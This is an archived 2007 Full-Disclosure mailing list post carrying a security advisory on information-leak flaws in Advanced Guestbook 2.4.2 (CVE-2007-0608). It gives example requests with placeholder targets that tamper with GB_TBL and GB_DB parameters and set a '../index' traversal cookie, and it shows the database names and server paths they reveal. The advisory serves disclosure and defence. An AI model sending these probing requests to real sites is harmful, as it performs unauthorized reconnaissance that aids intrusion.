full-disclosure-uk May 2007 archive
Main Archive Page > Month Archives  > full-disclosure-uk archives
full-disclosure-uk: [Full-disclosure] Advanced Guestbook version

[Full-disclosure] Advanced Guestbook version 2.4.2 Multiple Error Information Leak Vulnerabilities

From: SecurityResearch <securityresearch_at_nospam>
Date: Tue May 08 2007 - 00:22:42 GMT
To: <full-disclosure@lists.grok.org.uk>


netVigilance Security Advisory #11

Advanced Guestbook version 2.4.2 Multiple Error Information Leak Vulnerabilities

Description:
Advanced Guestbook is a PHP-based guestbook script. It includes many useful features such as preview, templates, e-mail notification, picture upload, page spanning , html tags handling, smiles, advanced guestbook codes and language support. The admin script lets you modify, view, and delete messages. Requires PHP4 and MySQL. Security problems in the product allow attackers to gather the true path of the server-side script and get the database name. External References:
Mitre CVE: CVE-2007-0608
NVD NIST: CVE-2007-0608
OSVDB: 33876
Summary:
Advanced Guestbook is a PHP-based guestbook with admin interface. Security problems in the product allows attackers to gather the true path of the server-side script and get the database name. This vulnerabilities can be exploited only when PHP register_globals is On.

Advisory URL:
http://www.netvigilance.com/advisory0011 Release Date:
05/07/2007
Severity:
Risk: Low  

CVSS Metrics
Access Vector: Remote
Access Complexity: High
Authentication: not-required
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None
Impact Bias: Normal
CVSS Base Score: 1.86  

Target Distribution on Internet: Low  

Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated  

Vulnerability Impact: Attack
Host Impact: Information disclosure, path disclosure.

SecureScout Testcase ID:  

Vulnerable Systems:
Advanced Guestbook 2.4.2

Vulnerability Type:
Program flaws - The product scripts have flaws which lead to Warnings or even Fatal Errors. Also there exist a possibility to disclose the database name in the error information messages. Vendor Status:
Contact with the Vendor was established but draft of the security advisory wasn't provided because the Vendor stopped responding to our emails on 9 March 2007. There is no official fix at the release of this Security Advisory Workaround:
Set PHP register_globals to Off. Disable warning messages: modify in the php.ini file following line: display_errors = Off. Or modify .htaccess file (this will work only for the apache servers).

Example:
Error Information Leak 1:
Database Name Disclosure
REQUEST:
http://[TARGET]/[GUETBOOK-FOLDER]/lang/codes-english.php?GB_TBL=123 REPLY: Error Number: 1146 Table '[DATABASE NAME].b' doesn't exist Date : Thu, January 4, 2007 13:40:11 IP : 212.98.173.35 Browser : Opera/9.01 (Windows NT 5.0; U; ru) Referer : PHP Version : 4.4.4 OS : Linux Server : Apache/2.2.3 Server Name : proxy2.de
Error Information Leak 2:
Database Name Disclosure
REQUEST:
http://[TARGET]/[GUETBOOK-FOLDER]/image.php?id=1&GB_TBL=123 REPLY:
<b><font size=4 face=Arial>Query Error</font></b><hr><pre>MySQL Error : Query Error
Error Number: 1146 Table '[DISCLOSURE RESULT - DATABASE NAME].b' doesn't exist Date : Mon, January 8, 2007 16:58:56 IP : 212.98.173.35 Browser : Opera/9.01 (Windows NT 5.0; U; ru) Referer : PHP Version : 4.4.4 OS : Linux Server : Apache/2.2.3 Server Name : proxy2.de
</pre>

Error Information Leak 3:
Path Disclosure Vulnerability
REQUEST:
At first set in the COOKIES variable lang = "../index" for the target web-site http://[TARGET]/[guestbook-directory]/index.php?GB_DB=123

REPLY:
<b>Warning</b>: mysql_connect() [<a href='function.mysql-connect'>function.mysql-connect</a>]:
Unknown MySQL server host '-' (1) in <b>[FULL PATH TO FILE]/mysql.class.php</b> on line <b>30</b><br />
<b><font size=4 face=Arial>Connection Error</font></b><hr><pre>MySQL Error : Connection Error
Error Number: 2005 Unknown MySQL server host '-' (1) Date : Thu, January 4, 2007 13:42:18 IP : 212.98.173.35 Browser : Opera/9.01 (Windows NT 5.0; U; ru) Referer : PHP Version : 4.4.4 OS : Linux Server : Apache/2.2.3 Server Name : ServerName.de
Error Information Leak 4:
Path Disclosure Vulnerability
REQUEST:
http://[TARGET]/[guestbook-directory]/index.php REPLY:
<br /><b>Notice</b>: Undefined variable: DB_CLASS in <b>[FULL PATH TO FILE]\rs\gb\index.php</b> on line <b>4</b><br />
<br /><b>Warning</b>: main([FULL PATH TO FILE]\rs\gb/lib/) [<a href='function.main'>function.main </a>]: failed to open stream: Permission denied in <b>[FULL PATH TO FILE]\rs\gb\index.php</b> on line <b>4</b><br /><br />
<b>Fatal error</b>: main() [<a href='function.require'>function.require</a>]: Failed opening required '[FULL PATH TO FILE] \rs\gb/lib/' (include_path='.;C:\php5\pear') in <b>[FULL PATH TO FILE]\rs\gb\index.php</b> on line <b>4</b><br />

Credits:
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com



Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/